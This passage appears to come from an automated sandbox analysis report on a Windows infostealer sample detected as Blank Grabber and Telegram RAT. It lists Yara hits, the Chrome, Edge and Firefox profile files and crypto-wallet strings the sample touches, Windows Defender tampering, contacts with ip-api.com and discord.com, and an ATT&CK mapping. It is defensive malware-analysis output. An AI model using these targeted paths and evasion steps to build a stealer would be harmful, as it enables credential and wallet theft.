              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D05D080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF79D05D080
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D075EEC _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,0_2_00007FF79D075EEC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2448CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,18_2_00007FF68A2448CC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

              Stealing of Sensitive Information

              barindex
              Yara detected Blank Grabber
              Source: Yara matchFile source: 00000002.00000003.2275949217.000001CF44867000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000002.00000002.2276489577.000001CF42667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2112335563.00000267A8E52000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2112335563.00000267A8E54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: riFSkYVMKB.exe PID: 5144, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: riFSkYVMKB.exe PID: 6800, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\_MEI51442\rarreg.key, type: DROPPED
              Yara detected Telegram RAT
              Source: Yara matchFile source: Process Memory Space: riFSkYVMKB.exe PID: 6800, type: MEMORYSTR
              Found many strings related to Crypto-Wallets (likely being stolen)
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: Electrum
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: com.liberty.jaxx
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: exodus.wallet
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: Ethereum
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: keystore
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension StateJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_storeJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\StorageJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\ls-archive.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\protections.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics DatabaseJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation PlatformJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session StorageJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-releaseJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension SettingsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StorageJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.logJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension RulesJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.defaultJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\921a1560-5524-44c0-8495-fce7014dcfbaJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabaseJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code CacheJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorageJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web ApplicationsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension SettingsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDBJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download ServiceJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databasesJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCacheJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCacheJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\ProfilesJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension ScriptsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dirJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\jsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\webappsstore.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_dbJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM StoreJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storageJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloadsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync DataJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasmJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\SessionsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\FilesJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_storeJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrialsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_dbJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dirJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App SettingsJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_dbJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement TrackerJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CacheJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\DefaultJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\NetworkJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabaseJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqliteJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqliteJump to behavior
              Source: Yara matchFile source: 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: riFSkYVMKB.exe PID: 6800, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected Blank Grabber
              Source: Yara matchFile source: 00000002.00000003.2275949217.000001CF44867000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000002.00000002.2276489577.000001CF42667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2112335563.00000267A8E52000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2112335563.00000267A8E54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: riFSkYVMKB.exe PID: 5144, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: riFSkYVMKB.exe PID: 6800, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\_MEI51442\rarreg.key, type: DROPPED
              Yara detected Telegram RAT
              Source: Yara matchFile source: Process Memory Space: riFSkYVMKB.exe PID: 6800, type: MEMORYSTR

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
              Windows Management Instrumentation              		1
              DLL Side-Loading              		1
              DLL Side-Loading              		3
              Disable or Modify Tools              		1
              OS Credential Dumping              		2
              System Time Discovery              		Remote Services1
              Archive Collected Data              		3
              Ingress Tool Transfer              		Exfiltration Over Other Network Medium1
              System Shutdown/Reboot
              CredentialsDomainsDefault Accounts2
              Native API              		Boot or Logon Initialization Scripts1
              Access Token Manipulation              		1
              Deobfuscate/Decode Files or Information              		LSASS Memory3
              File and Directory Discovery              		Remote Desktop Protocol2
              Data from Local System              		21
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts12
              Command and Scripting Interpreter              		Logon Script (Windows)11
              Process Injection              		21
              Obfuscated Files or Information              		Security Account Manager37
              System Information Discovery              		SMB/Windows Admin SharesData from Network Shared Drive4
              Non-Application Layer Protocol              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts1
              PowerShell              		Login HookLogin Hook11
              Software Packing              		NTDS31
              Security Software Discovery              		Distributed Component Object ModelInput Capture5
              Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              Timestomp              		LSA Secrets2
              Process Discovery              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              DLL Side-Loading              		Cached Domain Credentials31
              Virtualization/Sandbox Evasion              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
              Virtualization/Sandbox Evasion              		DCSync1
              Application Window Discovery              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
              Access Token Manipulation              		Proc Filesystem1
              System Network Configuration Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
              Process Injection              		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1584120 Sample: riFSkYVMKB.exe Startdate: 04/01/2025 Architecture: WINDOWS Score: 100 59 ip-api.com 2->59 61 discord.com 2->61 75 Found malware configuration 2->75 77 Multi AV Scanner detection for submitted file 2->77 79 Yara detected Blank Grabber 2->79 81 5 other signatures 2->81 10 riFSkYVMKB.exe 22 2->10         started        signatures3 process4 file5 51 C:\Users\user\AppData\Local\Temp\...\rar.exe, PE32+ 10->51 dropped 53 C:\Users\user\AppData\Local\...\rarreg.key, ASCII 10->53 dropped 55 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 10->55 dropped 57 16 other files (none is malicious) 10->57 dropped 83 Modifies Windows Defender protection settings 10->83 85 Adds a directory exclusion to Windows Defender 10->85 87 Removes signatures from Windows Defender 10->87 14 riFSkYVMKB.exe 6 10->14         started        signatures6 process7 dnsIp8 63 ip-api.com 208.95.112.1, 49757, 80 TUT-ASUS United States 14->63 65 discord.com 162.159.138.232, 443, 49763 CLOUDFLARENETUS United States 14->65 91 Found many strings related to Crypto-Wallets (likely being stolen) 14->91 93 Tries to harvest and steal browser information (history, passwords, etc) 14->93 95 Modifies Windows Defender protection settings 14->95 97 2 other signatures 14->97 18 cmd.exe 1 14->18         started        21 cmd.exe 1 14->21         started        23 cmd.exe 14->23         started        25 8 other processes 14->25 signatures9 process10 signatures11 67 Suspicious powershell command line found 18->67 69 Modifies Windows Defender protection settings 18->69 71 Adds a directory exclusion to Windows Defender 18->71 27 powershell.exe 23 18->27         started        30 conhost.exe 18->30         started        73 Removes signatures from Windows Defender 21->73 32 powershell.exe 23 21->32         started        34 conhost.exe 21->34         started        36 MpCmdRun.exe 21->36         started        43 2 other processes 23->43 38 rar.exe 25->38         started        41 conhost.exe 25->41         started        45 14 other processes 25->45 process12 file13 89 Loading BitLocker PowerShell Module 27->89 47 WmiPrvSE.exe 27->47         started        49 C:\Users\user\AppData\Local\Temp\0ddIp.zip, RAR 38->49 dropped signatures14 process15

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              riFSkYVMKB.exe49%VirustotalBrowse
              riFSkYVMKB.exe42%ReversingLabsWin32.Ransomware.BlankGrabber

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Local\Temp\_MEI51442\VCRUNTIME140.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_bz2.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_ctypes.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_decimal.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_hashlib.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_lzma.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_queue.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_socket.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_sqlite3.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\_ssl.pyd0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\libcrypto-3.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\libffi-8.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\libssl-3.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\python313.dll0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe0%ReversingLabs
